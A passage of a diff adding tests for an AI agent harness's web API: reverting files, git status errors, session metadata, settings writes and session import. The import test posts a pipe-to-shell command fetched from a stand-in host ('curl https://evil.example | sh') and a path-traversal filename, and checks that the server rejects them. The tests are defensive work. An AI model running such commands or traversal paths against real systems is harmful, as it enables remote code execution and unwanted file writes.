listener({ type: "message_update", assistantMessageEvent: { type: "text_delta", delta: "x" }, message: { role: "assistant", content: [] } }),
|
|
2499
|
+
);
|
|
2500
|
+
}
|
|
2501
|
+
while (!delivered.includes('"type":"message_update"')) {
|
|
2502
|
+
const chunk = await reader?.read();
|
|
2503
|
+
delivered += new TextDecoder().decode(chunk?.value);
|
|
2504
|
+
}
|
|
2505
|
+
await reader?.cancel();
|
|
2506
|
+
|
|
2507
|
+
const response = await fetch(context.webServer.url + "/api/session");
|
|
2508
|
+
expect(response.status).toBe(200);
|
|
2509
|
+
const payload = (await response.json()) as { events: { type: string; toolCallId?: string }[] };
|
|
2510
|
+
expect(payload.events).toHaveLength(2000);
|
|
2511
|
+
expect(payload.events.some((event) => event.type === "message_update")).toBe(false);
|
|
2512
|
+
expect(payload.events[0]?.toolCallId).toBe("call-500");
|
|
2513
|
+
expect(payload.events.at(-1)?.toolCallId).toBe("call-2499");
|
|
2514
|
+
const status = await fetch(context.webServer.url + "/api/status");
|
|
2515
|
+
await expect(status.json()).resolves.toMatchObject({ events: 2000 });
|
|
2516
|
+
});
|
|
2517
|
+
|
|
2518
|
+
test("reverts tracked and untracked workspace files together and rejects unknown paths", async () => {
|
|
2519
|
+
const context = new Context();
|
|
2520
|
+
contexts.push(context);
|
|
2521
|
+
const directory = await mkdtemp(join(tmpdir(), "pi-harness-api-revert-mixed-"));
|
|
2522
|
+
temporaryDirectories.push(directory);
|
|
2523
|
+
await execFile("git", ["init", "-q"], { cwd: directory });
|
|
2524
|
+
await execFile("git", ["config", "user.email", "pi-harness@test.invalid"], { cwd: directory });
|
|
2525
|
+
await execFile("git", ["config", "user.name", "Pi Harness Test"], { cwd: directory });
|
|
2526
|
+
await writeFile(join(directory, "tracked.txt"), "before\n", "utf8");
|
|
2527
|
+
await writeFile(join(directory, "removed.txt"), "gone\n", "utf8");
|
|
2528
|
+
await execFile("git", ["add", "tracked.txt", "removed.txt"], { cwd: directory });
|
|
2529
|
+
await execFile("git", ["commit", "-qm", "initial"], { cwd: directory });
|
|
2530
|
+
await writeFile(join(directory, "tracked.txt"), "after\n", "utf8");
|
|
2531
|
+
await writeFile(join(directory, "scratch.txt"), "discard me\n", "utf8");
|
|
2532
|
+
await execFile("git", ["rm", "-q", "removed.txt"], { cwd: directory });
|
|
2533
|
+
await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
|
|
2534
|
+
const session = { sessionId: "revert-session", sessionFile: undefined, messages: [], isStreaming: false, subscribe: () => () => {} };
|
|
2535
|
+
context.provide("piRuntime", { session, prompt: () => Promise.resolve(), abort: () => Promise.resolve(), dispose: () => Promise.resolve() } as never);
|
|
2536
|
+
context.provide("piModels", { model: { provider: "test", id: "model" }, runtime: { getModels: () => [], getModel: () => undefined } } as never);
|
|
2537
|
+
context.provide("piHarnessLaunch", { cwd: directory, agentDir: "/tmp/agent", args: [], requestExit() {} });
|
|
2538
|
+
await context.plugin(apiPlugin);
|
|
2539
|
+
|
|
2540
|
+
const unknown = await fetch(context.webServer.url + "/api/files/revert", {
|
|
2541
|
+
method: "POST",
|
|
2542
|
+
headers: { "content-type": "application/json" },
|
|
2543
|
+
body: JSON.stringify({ paths: ["does-not-exist.txt"], confirm: true }),
|
|
2544
|
+
});
|
|
2545
|
+
expect(unknown.status).toBe(409);
|
|
2546
|
+
const unknownBody = (await unknown.json()) as { error: string };
|
|
2547
|
+
expect(unknownBody.error).toContain("does-not-exist.txt");
|
|
2548
|
+
const response = await fetch(context.webServer.url + "/api/files/revert", {
|
|
2549
|
+
method: "POST",
|
|
2550
|
+
headers: { "content-type": "application/json" },
|
|
2551
|
+
body: JSON.stringify({ paths: ["tracked.txt", "scratch.txt", "removed.txt"], confirm: true }),
|
|
2552
|
+
});
|
|
2553
|
+
expect(response.status).toBe(200);
|
|
2554
|
+
await expect(response.json()).resolves.toMatchObject({ reverted: true });
|
|
2555
|
+
await expect(readFile(join(directory, "tracked.txt"), "utf8")).resolves.toBe("before\n");
|
|
2556
|
+
await expect(readFile(join(directory, "removed.txt"), "utf8")).resolves.toBe("gone\n");
|
|
2557
|
+
await expect(stat(join(directory, "scratch.txt"))).rejects.toMatchObject({ code: "ENOENT" });
|
|
2558
|
+
await expect(execFile("git", ["status", "--porcelain"], { cwd: directory })).resolves.toMatchObject({ stdout: "" });
|
|
2559
|
+
});
|
|
2560
|
+
|
|
2561
|
+
test("surfaces git status failures and truncation instead of reporting a clean workspace", async () => {
|
|
2562
|
+
const context = new Context();
|
|
2563
|
+
contexts.push(context);
|
|
2564
|
+
const directory = await mkdtemp(join(tmpdir(), "pi-harness-api-git-shim-"));
|
|
2565
|
+
temporaryDirectories.push(directory);
|
|
2566
|
+
const shimDirectory = join(directory, "bin");
|
|
2567
|
+
await mkdir(shimDirectory);
|
|
2568
|
+
const shim = join(shimDirectory, "git");
|
|
2569
|
+
await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
|
|
2570
|
+
const session = { sessionId: "files-session", sessionFile: undefined, messages: [], isStreaming: false, subscribe: () => () => {} };
|
|
2571
|
+
context.provide("piRuntime", { session, prompt: () => Promise.resolve(), abort: () => Promise.resolve(), dispose: () => Promise.resolve() } as never);
|
|
2572
|
+
context.provide("piModels", { model: { provider: "test", id: "model" }, runtime: { getModels: () => [], getModel: () => undefined } } as never);
|
|
2573
|
+
context.provide("piHarnessLaunch", { cwd: directory, agentDir: "/tmp/agent", args: [], requestExit() {} });
|
|
2574
|
+
await context.plugin(apiPlugin);
|
|
2575
|
+
|
|
2576
|
+
const originalPath = process.env.PATH ?? "";
|
|
2577
|
+
process.env.PATH = `${shimDirectory}:${originalPath}`;
|
|
2578
|
+
try {
|
|
2579
|
+
await writeFile(shim, '#!/bin/sh\necho "fatal: index file corrupt" >&2\nexit 128\n', { mode: 0o755 });
|
|
2580
|
+
const failed = await fetch(context.webServer.url + "/api/files");
|
|
2581
|
+
expect(failed.status).toBe(500);
|
|
2582
|
+
await expect(failed.json()).resolves.toEqual({ error: "fatal: index file corrupt" });
|
|
2583
|
+
|
|
2584
|
+
await writeFile(shim, "#!/bin/sh\n{ printf ' M tracked.txt\\n'; seq 1 40000 | sed 's/^/?? untracked-/;s/$/.txt/'; } | tr '\\n' '\\0'\n", { mode: 0o755 });
|
|
2585
|
+
const truncated = await fetch(context.webServer.url + "/api/files");
|
|
2586
|
+
expect(truncated.status).toBe(200);
|
|
2587
|
+
const payload = (await truncated.json()) as { items: { path: string }[]; truncated?: boolean };
|
|
2588
|
+
expect(payload.truncated).toBe(true);
|
|
2589
|
+
expect(payload.items[0]).toMatchObject({ path: "tracked.txt", status: "M", label: "modified" });
|
|
2590
|
+
expect(payload.items.length).toBeGreaterThan(1);
|
|
2591
|
+
expect(payload.items.length).toBeLessThan(40001);
|
|
2592
|
+
expect(payload.items.every((item) => /^(tracked|untracked-\d+)\.txt$/.test(item.path))).toBe(true);
|
|
2593
|
+
} finally {
|
|
2594
|
+
process.env.PATH = originalPath;
|
|
2595
|
+
}
|
|
2596
|
+
});
|
|
2597
|
+
|
|
2598
|
+
test("reports a git process killed by the output limit as a server failure rather than a rejected commit", async () => {
|
|
2599
|
+
const context = new Context();
|
|
2600
|
+
contexts.push(context);
|
|
2601
|
+
const directory = await mkdtemp(join(tmpdir(), "pi-harness-api-git-kill-"));
|
|
2602
|
+
temporaryDirectories.push(directory);
|
|
2603
|
+
const shimDirectory = join(directory, "bin");
|
|
2604
|
+
await mkdir(shimDirectory);
|
|
2605
|
+
await writeFile(join(shimDirectory, "git"), "#!/bin/sh\nhead -c 3145728 /dev/zero | tr '\\0' x\n", { mode: 0o755 });
|
|
2606
|
+
await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
|
|
2607
|
+
const session = { sessionId: "commit-session", sessionFile: undefined, messages: [], isStreaming: false, subscribe: () => () => {} };
|
|
2608
|
+
context.provide("piRuntime", { session, prompt: () => Promise.resolve(), abort: () => Promise.resolve(), dispose: () => Promise.resolve() } as never);
|
|
2609
|
+
context.provide("piModels", { model: { provider: "test", id: "model" }, runtime: { getModels: () => [], getModel: () => undefined } } as never);
|
|
2610
|
+
context.provide("piHarnessLaunch", { cwd: directory, agentDir: "/tmp/agent", args: [], requestExit() {} });
|
|
2611
|
+
await context.plugin(apiPlugin);
|
|
2612
|
+
|
|
2613
|
+
const originalPath = process.env.PATH ?? "";
|
|
2614
|
+
process.env.PATH = `${shimDirectory}:${originalPath}`;
|
|
2615
|
+
try {
|
|
2616
|
+
const response = await fetch(context.webServer.url + "/api/files/commit", {
|
|
2617
|
+
method: "POST",
|
|
2618
|
+
headers: { "content-type": "application/json" },
|
|
2619
|
+
body: JSON.stringify({ paths: ["README.md"], message: "Update README" }),
|
|
2620
|
+
});
|
|
2621
|
+
expect(response.status).toBe(500);
|
|
2622
|
+
await expect(response.json()).resolves.toEqual({ error: "git add produced more output than the buffer limit allows" });
|
|
2623
|
+
} finally {
|
|
2624
|
+
process.env.PATH = originalPath;
|
|
2625
|
+
}
|
|
2626
|
+
});
|
|
2627
|
+
|
|
2628
|
+
test("serializes concurrent session metadata updates so none are lost", async () => {
|
|
2629
|
+
const context = new Context();
|
|
2630
|
+
contexts.push(context);
|
|
2631
|
+
const directory = await mkdtemp(join(tmpdir(), "pi-harness-api-metadata-"));
|
|
2632
|
+
temporaryDirectories.push(directory);
|
|
2633
|
+
await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
|
|
2634
|
+
const session = {
|
|
2635
|
+
sessionId: "metadata-session",
|
|
2636
|
+
sessionFile: undefined,
|
|
2637
|
+
messages: [],
|
|
2638
|
+
isStreaming: false,
|
|
2639
|
+
sessionManager: { getSessionDir: () => directory, isPersisted: () => true, getEntries: () => [] },
|
|
2640
|
+
subscribe: () => () => {},
|
|
2641
|
+
};
|
|
2642
|
+
context.provide("piRuntime", { session, prompt: () => Promise.resolve() } as never);
|
|
2643
|
+
context.provide("piModels", { model: { provider: "test", id: "model" } } as never);
|
|
2644
|
+
context.provide("piHarnessLaunch", { cwd: "/tmp", agentDir: "/tmp/agent", args: [], requestExit() {} });
|
|
2645
|
+
await context.plugin(apiPlugin);
|
|
2646
|
+
|
|
2647
|
+
const paths = Array.from({ length: 8 }, (_, index) => join(directory, `2026-08-30T00-00-0${index}-000Z_session-${index}.jsonl`));
|
|
2648
|
+
const responses = await Promise.all(
|
|
2649
|
+
paths.map((path, index) =>
|
|
2650
|
+
index % 2 === 0
|
|
2651
|
+
? fetch(context.webServer.url + "/api/session/metadata", {
|
|
2652
|
+
method: "POST",
|
|
2653
|
+
headers: { "content-type": "application/json" },
|
|
2654
|
+
body: JSON.stringify({ path, pinned: true }),
|
|
2655
|
+
})
|
|
2656
|
+
: fetch(context.webServer.url + "/api/sessions/batch", {
|
|
2657
|
+
method: "POST",
|
|
2658
|
+
headers: { "content-type": "application/json" },
|
|
2659
|
+
body: JSON.stringify({ action: "archive", paths: [path] }),
|
|
2660
|
+
}),
|
|
2661
|
+
),
|
|
2662
|
+
);
|
|
2663
|
+
expect(responses.map((response) => response.status)).toEqual(Array(8).fill(200));
|
|
2664
|
+
const stored = JSON.parse(await readFile(join(directory, ".pi-harness-session-meta.json"), "utf8")) as Record<
|
|
2665
|
+
string,
|
|
2666
|
+
{ pinned?: boolean; archived?: boolean }
|
|
2667
|
+
>;
|
|
2668
|
+
expect(Object.keys(stored).sort()).toEqual([...paths].sort());
|
|
2669
|
+
paths.forEach((path, index) => expect(stored[path]).toEqual(index % 2 === 0 ? { pinned: true } : { archived: true }));
|
|
2670
|
+
const leftovers = (await readdir(directory)).filter((name) => name.endsWith(".tmp"));
|
|
2671
|
+
expect(leftovers).toEqual([]);
|
|
2672
|
+
});
|
|
2673
|
+
|
|
2674
|
+
test("quarantines corrupt session metadata instead of silently replacing it", async () => {
|
|
2675
|
+
const context = new Context();
|
|
2676
|
+
contexts.push(context);
|
|
2677
|
+
const directory = await mkdtemp(join(tmpdir(), "pi-harness-api-metadata-corrupt-"));
|
|
2678
|
+
temporaryDirectories.push(directory);
|
|
2679
|
+
const metadataFile = join(directory, ".pi-harness-session-meta.json");
|
|
2680
|
+
const corrupt = '{ "other.jsonl": { "arc';
|
|
2681
|
+
await writeFile(metadataFile, corrupt, "utf8");
|
|
2682
|
+
await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
|
|
2683
|
+
const session = {
|
|
2684
|
+
sessionId: "metadata-session",
|
|
2685
|
+
sessionFile: undefined,
|
|
2686
|
+
messages: [],
|
|
2687
|
+
isStreaming: false,
|
|
2688
|
+
sessionManager: { getSessionDir: () => directory, isPersisted: () => true, getEntries: () => [] },
|
|
2689
|
+
subscribe: () => () => {},
|
|
2690
|
+
};
|
|
2691
|
+
context.provide("piRuntime", { session, prompt: () => Promise.resolve() } as never);
|
|
2692
|
+
context.provide("piModels", { model: { provider: "test", id: "model" } } as never);
|
|
2693
|
+
context.provide("piHarnessLaunch", { cwd: "/tmp", agentDir: "/tmp/agent", args: [], requestExit() {} });
|
|
2694
|
+
await context.plugin(apiPlugin);
|
|
2695
|
+
|
|
2696
|
+
const list = await fetch(context.webServer.url + "/api/sessions");
|
|
2697
|
+
expect(list.status).toBe(200);
|
|
2698
|
+
const quarantined = (await readdir(directory)).filter((name) => name.startsWith(".pi-harness-session-meta.json.corrupt-"));
|
|
2699
|
+
expect(quarantined).toHaveLength(1);
|
|
2700
|
+
await expect(readFile(join(directory, quarantined[0] ?? ""), "utf8")).resolves.toBe(corrupt);
|
|
2701
|
+
await expect(stat(metadataFile)).rejects.toMatchObject({ code: "ENOENT" });
|
|
2702
|
+
|
|
2703
|
+
const path = join(directory, "2026-08-30T00-00-00-000Z_pinned.jsonl");
|
|
2704
|
+
const update = await fetch(context.webServer.url + "/api/session/metadata", {
|
|
2705
|
+
method: "POST",
|
|
2706
|
+
headers: { "content-type": "application/json" },
|
|
2707
|
+
body: JSON.stringify({ path, pinned: true }),
|
|
2708
|
+
});
|
|
2709
|
+
expect(update.status).toBe(200);
|
|
2710
|
+
await expect(update.json()).resolves.toEqual({ path, metadata: { pinned: true } });
|
|
2711
|
+
expect(JSON.parse(await readFile(metadataFile, "utf8"))).toEqual({ [path]: { pinned: true } });
|
|
2712
|
+
await expect(readFile(join(directory, quarantined[0] ?? ""), "utf8")).resolves.toBe(corrupt);
|
|
2713
|
+
});
|
|
2714
|
+
|
|
2715
|
+
test("replaces settings.json atomically through the config source route", async () => {
|
|
2716
|
+
const context = new Context();
|
|
2717
|
+
contexts.push(context);
|
|
2718
|
+
const agentDir = await mkdtemp(join(tmpdir(), "pi-harness-api-agent-"));
|
|
2719
|
+
temporaryDirectories.push(agentDir);
|
|
2720
|
+
const settingsPath = join(agentDir, "settings.json");
|
|
2721
|
+
await writeFile(settingsPath, '{"stale":true}\n', "utf8");
|
|
2722
|
+
await chmod(settingsPath, 0o444);
|
|
2723
|
+
await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
|
|
2724
|
+
const settingsManager = new Proxy({}, { get: () => () => ({}) });
|
|
2725
|
+
const session = { sessionId: "config-session", sessionFile: undefined, messages: [], isStreaming: false, settingsManager, subscribe: () => () => {} };
|
|
2726
|
+
context.provide("piRuntime", { session, prompt: () => Promise.resolve() } as never);
|
|
2727
|
+
context.provide("piModels", { model: { provider: "test", id: "model" } } as never);
|
|
2728
|
+
context.provide("piHarnessLaunch", { cwd: "/tmp", agentDir, args: [], requestExit() {} });
|
|
2729
|
+
await context.plugin(apiPlugin);
|
|
2730
|
+
|
|
2731
|
+
const response = await fetch(context.webServer.url + "/api/config/source", {
|
|
2732
|
+
method: "POST",
|
|
2733
|
+
headers: { "content-type": "application/json" },
|
|
2734
|
+
body: JSON.stringify({ source: '{"defaultProvider":"test","defaultModel":"model"}' }),
|
|
2735
|
+
});
|
|
2736
|
+
expect(response.status).toBe(200);
|
|
2737
|
+
await expect(readFile(settingsPath, "utf8")).resolves.toBe('{\n "defaultProvider": "test",\n "defaultModel": "model"\n}\n');
|
|
2738
|
+
expect((await stat(settingsPath)).mode & 0o777).toBe(0o444);
|
|
2739
|
+
expect((await readdir(agentDir)).filter((name) => name.endsWith(".tmp"))).toEqual([]);
|
|
2740
|
+
});
|
|
2741
|
+
|
|
2742
|
+
test("imports session content through a private temporary file and never writes to a caller-supplied path", async () => {
|
|
2743
|
+
const context = new Context();
|
|
2744
|
+
contexts.push(context);
|
|
2745
|
+
const directory = await mkdtemp(join(tmpdir(), "pi-harness-api-import-"));
|
|
2746
|
+
temporaryDirectories.push(directory);
|
|
2747
|
+
const sourceDir = join(directory, "source");
|
|
2748
|
+
const targetDir = join(directory, "target");
|
|
2749
|
+
await mkdir(sourceDir);
|
|
2750
|
+
await mkdir(targetDir);
|
|
2751
|
+
const source = SessionManager.create("/tmp", sourceDir);
|
|
2752
|
+
source.appendMessage({ role: "user", content: "x".repeat(100 * 1024), timestamp: Date.now() });
|
|
2753
|
+
source.appendMessage({
|
|
2754
|
+
role: "assistant",
|
|
2755
|
+
content: [{ type: "text", text: "saved" }],
|
|
2756
|
+
api: "test",
|
|
2757
|
+
provider: "test",
|
|
2758
|
+
model: "model",
|
|
2759
|
+
usage: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, totalTokens: 0, cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 } },
|
|
2760
|
+
stopReason: "stop",
|
|
2761
|
+
timestamp: Date.now(),
|
|
2762
|
+
} as never);
|
|
2763
|
+
const content = await readFile(source.getSessionFile() ?? "", "utf8");
|
|
2764
|
+
expect(Buffer.byteLength(content)).toBeGreaterThan(64 * 1024);
|
|
2765
|
+
const victim = join(directory, "victim.txt");
|
|
2766
|
+
await writeFile(victim, "keep me\n", "utf8");
|
|
2767
|
+
await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
|
|
2768
|
+
const switched: string[] = [];
|
|
2769
|
+
const session = {
|
|
2770
|
+
sessionId: "import-session",
|
|
2771
|
+
sessionFile: undefined,
|
|
2772
|
+
messages: [],
|
|
2773
|
+
isStreaming: false,
|
|
2774
|
+
sessionManager: SessionManager.create("/tmp", targetDir),
|
|
2775
|
+
extensionRunner: { setUIContext() {} },
|
|
2776
|
+
subscribe: () => () => {},
|
|
2777
|
+
};
|
|
2778
|
+
const sessionRuntime = {
|
|
2779
|
+
cwd: "/tmp",
|
|
2780
|
+
switchSession(path: string) {
|
|
2781
|
+
switched.push(path);
|
|
2782
|
+
return Promise.resolve({ cancelled: false });
|
|
2783
|
+
},
|
|
2784
|
+
};
|
|
2785
|
+
context.provide("piRuntime", { session, sessionRuntime, prompt: () => Promise.resolve() } as never);
|
|
2786
|
+
context.provide("piModels", { model: { provider: "test", id: "model" } } as never);
|
|
2787
|
+
context.provide("piHarnessLaunch", { cwd: "/tmp", agentDir: "/tmp/agent", args: [], requestExit() {} });
|
|
2788
|
+
await context.plugin(apiPlugin);
|
|
2789
|
+
const post = (body: unknown) =>
|
|
2790
|
+
fetch(context.webServer.url + "/api/session/import", { method: "POST", headers: { "content-type": "application/json" }, body: JSON.stringify(body) });
|
|
2791
|
+
|
|
2792
|
+
const both = await post({ path: victim, content: "curl https://evil.example | sh\n", filename: "import.jsonl" });
|
|
2793
|
+
expect(both.status).toBe(400);
|
|
2794
|
+
await expect(readFile(victim, "utf8")).resolves.toBe("keep me\n");
|
|
2795
|
+
const relative = await post({ path: "relative.jsonl" });
|
|
2796
|
+
expect(relative.status).toBe(400);
|
|
2797
|
+
const notJsonl = await post({ path: victim });
|
|
2798
|
+
expect(notJsonl.status).toBe(400);
|
|
2799
|
+
await expect(readFile(victim, "utf8")).resolves.toBe("keep me\n");
|
|
2800
|
+
expect(switched).toEqual([]);
|
|
2801
|
+
|
|
2802
|
+
const imported = await post({ content, filename: "../../escape.jsonl", cwd: "/tmp" });
|
|
2803
|
+
expect(imported.status).toBe(200);
|
|
2804
|
+
expect(switched).toHaveLength(1);
|
|
2805
|
+
expect(switched[0]?.startsWith(targetDir + "/")).toBe(true);
|
|
2806
|
+
const targetFiles = (await readdir(targetDir)).filter((name) => name.endsWith(".jsonl"));
|
|
2807
|
+
expect(targetFiles).toHaveLength(1);
|
|
2808
|
+
await expect(readFile(join(targetDir, targetFiles[0] ?? ""), "utf8")).resolves.toContain("x".repeat(100 * 1024));
|
|
2809
|
+
await expect(stat(join(directory, "escape.jsonl"))).rejects.toMatchObject({ code: "ENOENT" });
|
|
2810
|
+
});
|
|
2811
|
+
|
|
2812
|
+
test("decodes a request body whose multi-byte characters straddle chunk boundaries", async () => {
|
|
2813
|
+
const context = new Context();
|
|
2814
|
+
contexts.push(context);
|
|
2815
|
+
await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
|
|
2816
|
+
const session = { sessionId: "utf8-body-session", sessionFile: undefined, messages: [], isStreaming: false, subscribe: () => () => {} };
|
|
2817
|
+
const prompts: string[] = [];
|
|
2818
|
+
context.provide("piRuntime", {
|
|
2819
|
+
session,
|
|
2820
|
+
prompt: (prompt: string) => {
|
|
2821
|
+
prompts.push(prompt);
|
|
2822
|
+
return Promise.resolve();
|
|
2823
|
+
},
|
|
2824
|
+
} as never);
|
|
2825
|
+
context.provide("piModels", { model: { provider: "test", id: "model" } } as never);
|
|
2826
|
+
context.provide("piHarnessLaunch", { cwd: "/tmp", agentDir: "/tmp/agent", args: [], requestExit() {} });
|
|
2827
|
+
await context.plugin(apiPlugin);
|
|
2828
|
+
|
|
2829
|
+
const prompt = "汉字".repeat(64);
|
|
2830
|
+
const encoded = new TextEncoder().encode(JSON.stringify({ prompt }));
|
|
2831
|
+
// Cuts the first 汉 in half, so a decoder that works chunk by chunk emits U+FFFD instead of the character.
|
|
2832
|
+
const split = 12;
|
|
2833
|
+
const body = new ReadableStream<Uint8Array>({
|
|
2834
|
+
async start(controller) {
|
|
2835
|
+
controller.enqueue(encoded.slice(0, split));
|
|
2836
|
+
await new Promise((resolveDelay) => setTimeout(resolveDelay, 25));
|
|
2837
|
+
controller.enqueue(encoded.slice(split));
|
|
2838
|
+
controller.close();
|
|
2839
|
+
},
|
|
2840
|
+
});
|
|
2841
|
+
const response = await fetch(context.webServer.url + "/api/prompt", {
|
|
2842
|
+
method: "POST",
|
|
2843
|
+
headers: { "content-type": "application/json" },
|
|
2844
|
+
body,
|
|
2845
|
+
duplex: "half",
|
|
2846
|
+
} as RequestInit & { duplex: "half" });
|
|
2847
|
+
|
|
2848
|
+
expect(response.status).toBe(200);
|
|
2849
|
+
expect(prompts).toEqual([prompt]);
|
|
2850
|
+
});
|
|
2851
|
+
|
|
2852
|
+
test("keeps a message that a later trajectory event repeats instead of reporting it as circular", async () => {
|
|
2853
|
+
const context = new Context();
|
|
2854
|
+
contexts.push(context);
|
|
2855
|
+
await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
|
|
2856
|
+
type Listener = (event: { type: string; [key: string]: unknown }) => void;
|
|
2857
|
+
const listeners = new Set<Listener>();
|
|
2858
|
+
const message = { role: "assistant", content: [{ type: "text", text: "done" }], timestamp: 2 };
|
|
2859
|
+
const cyclic: Record<string, unknown> = { type: "turn_end" };
|
|
2860
|
+
cyclic.self = cyclic;
|
|
2861
|
+
const session = {
|
|
2862
|
+
sessionId: "shared-message-session",
|
|
2863
|
+
sessionFile: undefined,
|
|
2864
|
+
messages: [] as Array<Record<string, unknown>>,
|
|
2865
|
+
isStreaming: false,
|
|
2866
|
+
subscribe(listener: Listener) {
|
|
2867
|
+
listeners.add(listener);
|
|
2868
|
+
return () => listeners.delete(listener);
|
|
2869
|
+
},
|
|
2870
|
+
};
|
|
2871
|
+
context.provide("piRuntime", {
|
|
2872
|
+
session,
|
|
2873
|
+
prompt: () => {
|
|
2874
|
+
// Pi pushes the very object carried by the event into the message list, so both fields of the response reference one instance.
|
|
2875
|
+
session.messages.push(message);
|
|
2876
|
+
listeners.forEach((listener) => listener({ type: "message_end", message }));
|
|
2877
|
+
listeners.forEach((listener) => listener(cyclic as { type: string }));
|
|
2878
|
+
return Promise.resolve();
|
|
2879
|
+
},
|
|
2880
|
+
} as never);
|
|
2881
|
+
context.provide("piModels", { model: { provider: "test", id: "model" } } as never);
|
|
2882
|
+
context.provide("piHarnessLaunch", { cwd: "/tmp", agentDir: "/tmp/agent", args: [], requestExit() {} });
|
|
2883
|
+
await context.plugin(apiPlugin);
|
|
2884
|
+
|
|
2885
|
+
await fetch(context.webServer.url + "/api/prompt", {
|
|
2886
|
+
method: "POST",
|
|
2887
|
+
headers: { "content-type": "application/json" },
|
|
2888
|
+
body: JSON.stringify({ prompt: "hello" }),
|
|
2889
|
+
});
|
|
2890
|
+
const response = await fetch(context.webServer.url + "/api/session");
|
|
2891
|
+
expect(response.status).toBe(200);
|
|
2892
|
+
const payload = (await response.json()) as { messages: unknown[]; events: Array<Record<string, unknown>> };
|
|
2893
|
+
expect(payload.messages).toEqual([message]);
|
|
2894
|
+
expect(payload.events[0]).toEqual({ type: "message_end", message });
|
|
2895
|
+
expect(payload.events[1]).toEqual({ type: "turn_end", self: "[Circular]" });
|
|
2896
|
+
});
|
|
2897
|
+
|
|
2898
|
+
test("returns git status paths verbatim when they hold spaces, non-ASCII characters or a rename", async () => {
|
|
2899
|
+
const context = new Context();
|
|
2900
|
+
contexts.push(context);
|
|
2901
|
+
const directory = await mkdtemp(join(tmpdir(), "pi-harness-api-quoted-paths-"));
|
|
2902
|
+
temporaryDirectories.push(directory);
|
|
2903
|
+
await execFile("git", ["init", "-q"], { cwd: directory });
|
|
2904
|
+
await execFile("git", ["config", "user.email", "pi-harness@test.invalid"], { cwd: directory });
|
|
2905
|
+
await execFile("git", ["config", "user.name", "Pi Harness Test"], { cwd: directory });
|
|
2906
|
+
await writeFile(join(directory, "notes draft.md"), "before\n", "utf8");
|
|
2907
|
+
await writeFile(join(directory, "old name.md"), "keep\n", "utf8");
|
|
2908
|
+
await execFile("git", ["add", "-A"], { cwd: directory });
|
|
2909
|
+
await execFile("git", ["commit", "-qm", "initial"], { cwd: directory });
|
|
2910
|
+
await writeFile(join(directory, "notes draft.md"), "after\n", "utf8");
|
|
2911
|
+
await execFile("git", ["mv", "old name.md", "renamed name.md"], { cwd: directory });
|
|
2912
|
+
await writeFile(join(directory, "汉字.txt"), "新建\n", "utf8");
|
|
2913
|
+
await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
|
|
2914
|
+
const session = { sessionId: "quoted-paths-session", sessionFile: undefined, messages: [], isStreaming: false, subscribe: () => () => {} };
|
|
2915
|
+
context.provide("piRuntime", { session, prompt: () => Promise.resolve(), abort: () => Promise.resolve(), dispose: () => Promise.resolve() } as never);
|
|
2916
|
+
context.provide("piModels", { model: { provider: "test", id: "model" }, runtime: { getModels: () => [], getModel: () => undefined } } as never);
|
|
2917
|
+
context.provide("piHarnessLaunch", { cwd: directory, agentDir: "/tmp/agent", args: [], requestExit() {} });
|
|
2918
|
+
await context.plugin(apiPlugin);
|
|
2919
|
+
|
|
2920
|
+
const response = await fetch(context.webServer.url + "/api/files");
|
|
2921
|
+
expect(response.status).toBe(200);
|
|
2922
|
+
const payload = (await response.json()) as { items: { path: string; status: string; label: string }[] };
|
|
2923
|
+
expect(payload.items).toHaveLength(3);
|
|
2924
|
+
expect(payload.items).toEqual(
|
|
2925
|
+
expect.arrayContaining([
|
|
2926
|
+
{ path: "notes draft.md", status: "M", label: "modified" },
|
|
2927
|
+
{ path: "renamed name.md", status: "R", label: "modified" },
|
|
2928
|
+
{ path: "汉字.txt", status: "??", label: "untracked" },
|
|
2929
|
+
]),
|
|
2930
|
+
);
|
|
2931
|
+
|
|
2932
|
+
const modified = payload.items.find((item) => item.status === "M");
|
|
2933
|
+
const diff = await fetch(context.webServer.url + "/api/files/diff?path=" + encodeURIComponent(modified?.path ?? ""));
|
|
2934
|
+
expect(diff.status).toBe(200);
|
|
2935
|
+
const diffPayload = (await diff.json()) as { path: string; diff: string };
|
|
2936
|
+
expect(diffPayload.path).toBe("notes draft.md");
|
|
2937
|
+
expect(diffPayload.diff).toContain("after");
|
|
2938
|
+
|
|
2939
|
+
const commit = await fetch(context.webServer.url + "/api/files/commit", {
|
|
2940
|
+
method: "POST",
|
|
2941
|
+
headers: { "content-type": "application/json" },
|
|
2942
|
+
body: JSON.stringify({ paths: ["notes draft.md", "汉字.txt"], message: "Commit quoted paths" }),
|
|
2943
|
+
});
|
|
2944
|
+
expect(commit.status).toBe(200);
|
|
2945
|
+
const after = await execFile("git", ["status", "--short", "-z"], { cwd: directory });
|
|
2946
|
+
expect(after.stdout).not.toContain("notes draft.md");
|
|
2947
|
+
expect(after.stdout).not.toContain("汉字.txt");
|
|
2948
|
+
});
|
|
2949
|
+
|
|
2950
|
+
test("refuses to delete a session outside the session directory or without confirmation", async () => {
|
|
2951
|
+
const context = new Context();
|
|
2952
|
+
contexts.push(context);
|
|
2953
|
+
const directory = await mkdtemp(join(tmpdir(), "pi-harness-api-session-delete-"));
|
|
2954
|
+
temporaryDirectories.push(directory);
|
|
2955
|
+
const sessionDir = join(directory, "sessions");
|
|
2956
|
+
await mkdir(sessionDir);
|
|
2957
|
+
const victim = join(directory, "secrets.jsonl");
|
|
2958
|
+
await writeFile(victim, "keep me\n", "utf8");
|
|
2959
|
+
const note = join(sessionDir, "notes.txt");
|
|
2960
|
+
await writeFile(note, "keep me\n", "utf8");
|
|
2961
|
+
const target = join(sessionDir, "2026-08-30T00-00-00-000Z_target.jsonl");
|
|
2962
|
+
await writeFile(target, "{}\n", "utf8");
|
|
2963
|
+
await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
|
|
2964
|
+
const session = {
|
|
2965
|
+
sessionId: "session-delete-session",
